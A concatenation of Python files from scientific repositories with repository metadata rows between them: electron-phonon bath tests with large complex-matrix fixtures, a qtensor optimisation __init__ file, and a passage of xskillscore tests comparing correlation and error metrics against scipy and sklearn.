0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 10.5-2.0j, 0.0, 0.0, -0.5, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 10.5-2.0j, -0.5, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 10.5+2.0j, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 0.0, 0.0, 10.5+2.0j, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 14.0]]],
'sz': [[[0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 1.5-1.0j, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, -0.5, 1.5+1.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 1.5-1.0j, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, -0.5, 1.5+1.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 3.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 3.0-1.7888543819998315j, 0.0, -0.5257311121191336, 0.8944271909999155j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 3.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5257311121191336, 0.0, 3.0, 0.8506508083520395, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.8944271909999156j, 0.0, 0.8506508083520395, 3.0+1.7888543819998302j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 3.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 4.5-1.0j, -0.5, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 4.5+1.0j, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 4.5-1.0j, -0.5, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 4.5+1.0j, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 6.0]], [[0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 3.5-2.0j, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, -0.5, 3.5+2.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 3.5-2.0j, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, -0.5, 3.5+2.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 7.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 7.0-3.577708763999663j, 0.0, -0.5257311121191335, 1.788854381999831j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 7.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5257311121191336, 0.0, 7.0, 0.8506508083520394, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.7888543819998313j, 0.0, 0.8506508083520391, 7.0+3.5777087639996603j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 7.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 10.5-2.0j, -0.5, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 10.5+2.0j, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 10.5-2.0j, -0.5, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 10.5+2.0j, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 14.0]]],
'ssq': [[[0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 1.5-1.0j, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, -0.5, 1.5+1.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 1.5-1.0j, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, -0.5, 1.5+1.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 3.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 3.0-1.7888543819998315j, -0.5257311121191329, 0.8944271909999164j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5257311121191329, 3.0, 0.8506508083520398, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.8944271909999163j, 0.8506508083520398, 3.0+1.7888543819998317j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 3.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 3.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 4.5-1.0j, -0.5, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 4.5+1.0j, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 4.5-1.0j, -0.5, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 4.5+1.0j, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 6+0j]], [[0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 3.5-2.0j, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, -0.5, 3.5+2.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 3.5-2.0j, -0.5, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, -0.5, 3.5+2.0j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 7.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 7.0-3.577708763999662j, -0.5257311121191319, 1.7888543819998328j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.525731112119132, 7.0, 0.850650808352039, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.7888543819998326j, 0.8506508083520389, 7.0+3.5777087639996634j, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 7.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 7.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 10.5-2.0j, -0.5, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 10.5+2.0j, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 10.5-2.0j, -0.5, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.5, 10.5+2.0j, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 14.0]]]}
p = ParametersDoubleDotSpinfulElPh()
for indexing in ['Lin', 'charge', 'sz', 'ssq']:
si = StateIndexing(4, indexing=indexing)
leads = PhononBaths(p.nbaths, {}, si, {}, {}, {})
Tba0 = elph_construct_Vbbp(leads, p.velph)
Tba = elph_rotate_Vbbp(Tba0, p.vecs[indexing], si)
assert norm(Tba - data[indexing]) < EPS
def test_make_velph_dict():
nsingle = 4
nbaths = 2
si = StateIndexing(nsingle)
si.nbaths = nbaths
#
b1_cL, b1_cR, b1_oL, b1_oR = 7.0, 5.0, 2.0j, 1.0j
b2_cL, b2_cR, b2_oL, b2_oR = 70.0, 50.0, 20.0j, 10.0j
velph_dict = {(0,0,0): b1_cL, (0,2,2): b1_cL, (0,1,1): b1_cR, (0,3,3): b1_cR, (0,0,1): b1_oL, (0,1,0): b1_oR, (0,2,3): b1_oL, (0,3,2): b1_oR,
(1,0,0): b2_cL, (1,2,2): b2_cL, (1,1,1): b2_cR, (1,3,3): b2_cR, (1,0,1): b2_oL, (1,1,0): b2_oR, (1,2,3): b2_oL, (1,3,2): b2_oR}
velph_list = [[0,0,0,b1_cL], [0,2,2,b1_cL], [0,1,1,b1_cR], [0,3,3,b1_cR], [0,0,1,b1_oL], [0,1,0,b1_oR], [0,2,3,b1_oL], [0,3,2,b1_oR],
[1,0,0,b2_cL], [1,2,2,b2_cL], [1,1,1,b2_cR], [1,3,3,b2_cR], [1,0,1,b2_oL], [1,1,0,b2_oR], [1,2,3,b2_oL], [1,3,2,b2_oR]]
velph_mtr = [[[b1_cL, b1_oL, 0.0, 0.0], [b1_oR, b1_cR, 0.0, 0.0], [0.0, 0.0, b1_cL, b1_oL], [0.0, 0.0, b1_oR, b1_cR]],
[[b2_cL, b2_oL, 0.0, 0.0], [b2_oR, b2_cR, 0.0, 0.0], [0.0, 0.0, b2_cL, b2_oL], [0.0, 0.0, b2_oR, b2_cR]]]
assert make_velph_dict(velph_list, si) == velph_dict
assert make_velph_dict(velph_dict, si) == velph_dict
assert make_velph_dict(np.array(velph_mtr), si) == velph_dict
def test_PhononBaths():
nsingle = 2
nbaths = 2
b1_elph_d, b1_elph_o = 1.0, 2.0
b2_elph_d, b2_elph_o = 3.0, 4.0
temp_ph, dband_ph_min, dband_ph_max = 1.0, 0.1, 60.0
dband_ph = [dband_ph_min, dband_ph_max]
tlst_ph = {0: temp_ph, 1: temp_ph}
dlst_ph = {0: dband_ph, 1: dband_ph}
velph = np.array([[[b1_elph_d,b1_elph_o], [b1_elph_o,b1_elph_d]],
[[b2_elph_d,b2_elph_o], [b2_elph_o,b2_elph_d]]])
si = StateIndexing(nsingle)
baths = PhononBaths(nbaths, velph, si, tlst_ph, dlst_ph)
#
velph_dict = {(0,0,0):b1_elph_d, (0,1,1):b1_elph_d, (0,0,1):b1_elph_o, (0,1,0):b1_elph_o,
(1,0,0):b2_elph_d, (1,1,1):b2_elph_d, (1,0,1):b2_elph_o, (1,1,0):b2_elph_o}
assert baths.velph == velph_dict
assert baths.si.nbaths == 2
assert baths.tlst_ph.tolist() == [temp_ph, temp_ph]
assert baths.dlst_ph.tolist() == [dband_ph, dband_ph]
#
baths.add(velph={(0,0,0):1.0, (0,1,1):2.0, (0,0,1):3.0, (0,1,0):4.0,
(1,0,0):5.0, (1,1,1):6.0, (1,0,1):7.0, (1,1,0):8.0},
tlst_ph={0:1.0, 1:2.0},
dlst_ph={0:[1.0,2.0], 1:[3.0,4.0]})
assert baths.velph == {(0,0,0):b1_elph_d+1.0, (0,1,1):b1_elph_d+2.0, (0,0,1):b1_elph_o+3.0, (0,1,0):b1_elph_o+4.0,
(1,0,0):b2_elph_d+5.0, (1,1,1):b2_elph_d+6.0, (1,0,1):b2_elph_o+7.0, (1,1,0):b2_elph_o+8.0}
assert baths.tlst_ph.tolist() == [temp_ph+1.0, temp_ph+2.0]
assert baths.dlst_ph.tolist() == [[dband_ph_min+1.0,dband_ph_max+2.0], [dband_ph_min+3.0,dband_ph_max+4.0]]
#
baths.change(velph=velph_dict,
tlst_ph=[temp_ph, temp_ph],
dlst_ph=[dband_ph, dband_ph])
assert baths.velph == velph_dict
assert baths.tlst_ph.tolist() == [temp_ph, temp_ph]
assert baths.dlst_ph.tolist() == [dband_ph, dband_ph]
#
baths.change(tlst_ph={1: 2.13}, dlst_ph={1: [3.21,3.22]})
assert baths.tlst_ph.tolist() == [temp_ph, 2.13]
assert baths.dlst_ph.tolist() == [[dband_ph_min,dband_ph_max], [3.21,3.22]]
baths.add(tlst_ph={1: 2.13}, dlst_ph={1: [3.21,3.22]})
assert baths.tlst_ph.tolist() == [temp_ph, 2*2.13]
assert baths.dlst_ph.tolist() == [[dband_ph_min,dband_ph_max], [2*3.21,2*3.22]]
#
baths.change(tlst_ph=2)
assert baths.tlst_ph.tolist() == [2, 2]
baths.change(tlst_ph=tlst_ph)
baths.add(tlst_ph=2)
assert baths.tlst_ph.tolist() == [temp_ph+2, temp_ph+2]
#
Tba_tmp = np.array(baths.Vbbp)
baths.Vbbp = None
baths.use_Vbbp0()
assert norm(baths.Vbbp - Tba_tmp) < EPS
def test_PhononBaths_spin():
nsingle = 4
nbaths = 2
b1_elph_d, b1_elph_o = 1.0, 2.0
b2_elph_d, b2_elph_o = 3.0, 4.0
temp_ph, dband_ph_min, dband_ph_max = 1.0, 0.1, 60.0
dband_ph = [dband_ph_min, dband_ph_max]
tlst_ph = {0: temp_ph, 1: temp_ph}
dlst_ph = {0: dband_ph, 1: dband_ph}
velph = np.array([[[b1_elph_d,b1_elph_o], [b1_elph_o,b1_elph_d]],
[[b2_elph_d,b2_elph_o], [b2_elph_o,b2_elph_d]]])
si = StateIndexing(nsingle, symmetry='spin')
baths = PhononBaths(nbaths, velph, si, tlst_ph, dlst_ph)
#
velph_dict_no_spin = {(0,0,0):b1_elph_d, (0,1,1):b1_elph_d, (0,0,1):b1_elph_o, (0,1,0):b1_elph_o,
(1,0,0):b2_elph_d, (1,1,1):b2_elph_d, (1,0,1):b2_elph_o, (1,1,0):b2_elph_o}
velph_dict = {(0,0,0):b1_elph_d, (0,1,1):b1_elph_d, (0,0,1):b1_elph_o, (0,1,0):b1_elph_o,
(1,0,0):b2_elph_d, (1,1,1):b2_elph_d, (1,0,1):b2_elph_o, (1,1,0):b2_elph_o,
(0,2,2):b1_elph_d, (0,3,3):b1_elph_d, (0,2,3):b1_elph_o, (0,3,2):b1_elph_o,
(1,2,2):b2_elph_d, (1,3,3):b2_elph_d, (1,2,3):b2_elph_o, (1,3,2):b2_elph_o}
assert baths.velph == velph_dict
assert baths.si.nbaths == 2
assert baths.tlst_ph.tolist() == [temp_ph, temp_ph]
assert baths.dlst_ph.tolist() == [dband_ph, dband_ph]
#
baths.add(velph={(0,0,0):1.0, (0,1,1):2.0, (0,0,1):3.0, (0,1,0):4.0,
(1,0,0):5.0, (1,1,1):6.0, (1,0,1):7.0, (1,1,0):8.0},
tlst_ph={0:1.0, 1:2.0},
dlst_ph={0:[1.0,2.0], 1:[3.0,4.0]})
assert baths.velph == {(0,0,0):b1_elph_d+1.0, (0,1,1):b1_elph_d+2.0, (0,0,1):b1_elph_o+3.0, (0,1,0):b1_elph_o+4.0,
(1,0,0):b2_elph_d+5.0, (1,1,1):b2_elph_d+6.0, (1,0,1):b2_elph_o+7.0, (1,1,0):b2_elph_o+8.0,
(0,2,2):b1_elph_d+1.0, (0,3,3):b1_elph_d+2.0, (0,2,3):b1_elph_o+3.0, (0,3,2):b1_elph_o+4.0,
(1,2,2):b2_elph_d+5.0, (1,3,3):b2_elph_d+6.0, (1,2,3):b2_elph_o+7.0, (1,3,2):b2_elph_o+8.0}
assert baths.tlst_ph.tolist() == [temp_ph+1.0, temp_ph+2.0]
assert baths.dlst_ph.tolist() == [[dband_ph_min+1.0,dband_ph_max+2.0], [dband_ph_min+3.0,dband_ph_max+4.0]]
#
baths.change(velph=velph_dict_no_spin,
tlst_ph=[temp_ph, temp_ph],
dlst_ph=[dband_ph, dband_ph])
assert baths.velph == velph_dict
assert baths.tlst_ph.tolist() == [temp_ph, temp_ph]
assert baths.dlst_ph.tolist() == [dband_ph, dband_ph]
#
baths.change(tlst_ph={1: 2.13}, dlst_ph={1: [3.21,3.22]})
assert baths.tlst_ph.tolist() == [temp_ph, 2.13]
assert baths.dlst_ph.tolist() == [[dband_ph_min,dband_ph_max], [3.21,3.22]]
baths.add(tlst_ph={1: 2.13}, dlst_ph={1: [3.21,3.22]})
assert baths.tlst_ph.tolist() == [temp_ph, 2*2.13]
assert baths.dlst_ph.tolist() == [[dband_ph_min,dband_ph_max], [2*3.21,2*3.22]]
#
baths.change(tlst_ph=2)
assert baths.tlst_ph.tolist() == [2, 2]
baths.change(tlst_ph=tlst_ph)
baths.add(tlst_ph=2)
assert baths.tlst_ph.tolist() == [temp_ph+2, temp_ph+2]
#
Tba_tmp = np.array(baths.Vbbp)
baths.Vbbp = None
baths.use_Vbbp0()
assert norm(baths.Vbbp - Tba_tmp) < EPS
| 146.983784
| 3,018
| 0.458775
| 8,032
| 27,192
| 1.5
| 0.015438
| 0.88081
| 1.231574
| 1.538845
| 0.910608
| 0.904382
| 0.88911
| 0.883964
| 0.87998
| 0.878652
| 0
| 0.38434
| 0.219881
| 27,192
| 184
| 3,019
| 147.782609
| 0.183614
| 0.002464
| 0
| 0.621795
| 0
| 0
| 0.002213
| 0
| 0
| 0
| 0
| 0
| 0.25
| 1
| 0.038462
| false
| 0
| 0.025641
| 0
| 0.070513
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 14
|
7cb46809d9482682d6f7984042c0387469906fe0
| 279
|
py
|
Python
|
qtensor/optimisation/__init__.py
|
marwahaha/QTensor
|
936d078825a6418f9d32d2c176332422d8a4c137
|
[
"BSD-3-Clause"
] | 20
|
2020-09-08T20:32:44.000Z
|
2022-03-18T11:27:57.000Z
|
qtensor/optimisation/__init__.py
|
marwahaha/QTensor
|
936d078825a6418f9d32d2c176332422d8a4c137
|
[
"BSD-3-Clause"
] | 21
|
2020-10-09T04:44:48.000Z
|
2021-10-05T03:32:35.000Z
|
qtensor/optimisation/__init__.py
|
marwahaha/QTensor
|
936d078825a6418f9d32d2c176332422d8a4c137
|
[
"BSD-3-Clause"
] | 4
|
2020-12-18T01:37:10.000Z
|
2021-07-26T21:24:20.000Z
|
from . RGreedy import RGreedyOptimizer
from qtensor.optimisation.Optimizer import TamakiTrimSlicing
from qtensor.optimisation.Optimizer import Optimizer
from qtensor.optimisation.Greedy import GreedyParvars
from qtensor.optimisation.late_parallelisation import LateParOptimizer
| 39.857143
| 70
| 0.888889
| 29
| 279
| 8.517241
| 0.448276
| 0.178138
| 0.37247
| 0.259109
| 0.307692
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.078853
| 279
| 6
| 71
| 46.5
| 0.961089
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
6b089f760047e032293ac41157ba1a4cb899ed26
| 11,594
|
py
|
Python
|
xskillscore/tests/test_np_deterministic.py
|
kpegion/xskillscore
|
fbe875b563d50c659976b98fab615ae30c100d3f
|
[
"Apache-2.0"
] | 1
|
2020-07-16T12:40:11.000Z
|
2020-07-16T12:40:11.000Z
|
xskillscore/tests/test_np_deterministic.py
|
kpegion/xskillscore
|
fbe875b563d50c659976b98fab615ae30c100d3f
|
[
"Apache-2.0"
] | null | null | null |
xskillscore/tests/test_np_deterministic.py
|
kpegion/xskillscore
|
fbe875b563d50c659976b98fab615ae30c100d3f
|
[
"Apache-2.0"
] | null | null | null |
import numpy as np
import pytest
from numpy.testing import assert_allclose
from scipy import stats
from sklearn.metrics import (
mean_absolute_error,
mean_squared_error,
median_absolute_error,
)
from xskillscore.core.np_deterministic import (
_mad,
_mae,
_mape,
_mse,
_pearson_r,
_pearson_r_p_value,
_rmse,
_smape,
_spearman_r,
_spearman_r_p_value,
)
@pytest.fixture
def a():
return np.random.rand(3, 4, 5)
@pytest.fixture
def b():
return np.random.rand(3, 4, 5)
# standard params in this testing file
skipna = False
weights = None
def test_pearson_r_nd(a, b):
axis = 0
expected = np.squeeze(a[0, :, :]).copy()
for i in range(np.shape(a)[1]):
for j in range(np.shape(a)[2]):
_a = a[:, i, j]
_b = b[:, i, j]
expected[i, j], p = stats.pearsonr(_a, _b)
actual = _pearson_r(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
axis = 1
expected = np.squeeze(a[:, 0, :]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[2]):
_a = a[i, :, j]
_b = b[i, :, j]
expected[i, j], p = stats.pearsonr(_a, _b)
actual = _pearson_r(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
axis = 2
expected = np.squeeze(a[:, :, 0]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[1]):
_a = a[i, j, :]
_b = b[i, j, :]
expected[i, j], p = stats.pearsonr(_a, _b)
actual = _pearson_r(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
def test_pearson_r_p_value_nd(a, b):
axis = 0
expected = np.squeeze(a[0, :, :]).copy()
for i in range(np.shape(a)[1]):
for j in range(np.shape(a)[2]):
_a = a[:, i, j]
_b = b[:, i, j]
r, expected[i, j] = stats.pearsonr(_a, _b)
actual = _pearson_r_p_value(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
axis = 1
expected = np.squeeze(a[:, 0, :]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[2]):
_a = a[i, :, j]
_b = b[i, :, j]
p, expected[i, j] = stats.pearsonr(_a, _b)
actual = _pearson_r_p_value(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
axis = 2
expected = np.squeeze(a[:, :, 0]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[1]):
_a = a[i, j, :]
_b = b[i, j, :]
r, expected[i, j] = stats.pearsonr(_a, _b)
actual = _pearson_r_p_value(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
def test_spearman_r_nd(a, b):
axis = 0
expected = np.squeeze(a[0, :, :]).copy()
for i in range(np.shape(a)[1]):
for j in range(np.shape(a)[2]):
_a = a[:, i, j]
_b = b[:, i, j]
expected[i, j], p = stats.spearmanr(_a, _b)
actual = _spearman_r(a, b, weights, axis, skipna)
assert_allclose(actual, expected, atol=1e-5)
axis = 1
expected = np.squeeze(a[:, 0, :]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[2]):
_a = a[i, :, j]
_b = b[i, :, j]
expected[i, j], p = stats.spearmanr(_a, _b)
actual = _spearman_r(a, b, weights, axis, skipna)
assert_allclose(actual, expected, atol=1e-5)
axis = 2
expected = np.squeeze(a[:, :, 0]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[1]):
_a = a[i, j, :]
_b = b[i, j, :]
expected[i, j], p = stats.spearmanr(_a, _b)
actual = _spearman_r(a, b, weights, axis, skipna)
assert_allclose(actual, expected, atol=1e-5)
def test_spearman_r_p_value_nd(a, b):
nan_policy = 'propagate' # default
axis = 0
print(a)
print(b)
expected = np.squeeze(a[0, :, :]).copy()
for i in range(np.shape(a)[1]):
for j in range(np.shape(a)[2]):
_a = a[:, i, j]
_b = b[:, i, j]
r, expected[i, j] = stats.spearmanr(_a, _b, nan_policy=nan_policy)
actual = _spearman_r_p_value(a, b, weights, axis, skipna)
assert_allclose(actual, expected, atol=1e-5)
axis = 1
expected = np.squeeze(a[:, 0, :]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[2]):
_a = a[i, :, j]
_b = b[i, :, j]
p, expected[i, j] = stats.spearmanr(_a, _b, nan_policy=nan_policy)
actual = _spearman_r_p_value(a, b, weights, axis, skipna)
assert_allclose(actual, expected, atol=1e-5)
axis = 2
expected = np.squeeze(a[:, :, 0]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[1]):
_a = a[i, j, :]
_b = b[i, j, :]
r, expected[i, j] = stats.spearmanr(_a, _b, nan_policy=nan_policy)
actual = _spearman_r_p_value(a, b, weights, axis, skipna)
assert_allclose(actual, expected, atol=1e-5)
def test_rmse_nd(a, b):
axis = 0
expected = np.squeeze(a[0, :, :]).copy()
for i in range(np.shape(a)[1]):
for j in range(np.shape(a)[2]):
_a = a[:, i, j]
_b = b[:, i, j]
expected[i, j] = np.sqrt(mean_squared_error(_a, _b))
actual = _rmse(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
axis = 1
expected = np.squeeze(a[:, 0, :]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[2]):
_a = a[i, :, j]
_b = b[i, :, j]
expected[i, j] = np.sqrt(mean_squared_error(_a, _b))
actual = _rmse(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
axis = 2
expected = np.squeeze(a[:, :, 0]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[1]):
_a = a[i, j, :]
_b = b[i, j, :]
expected[i, j] = np.sqrt(mean_squared_error(_a, _b))
actual = _rmse(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
def test_mse_nd(a, b):
axis = 0
expected = np.squeeze(a[0, :, :]).copy()
for i in range(np.shape(a)[1]):
for j in range(np.shape(a)[2]):
_a = a[:, i, j]
_b = b[:, i, j]
expected[i, j] = mean_squared_error(_a, _b)
actual = _mse(a, b, weights, axis, skipna)
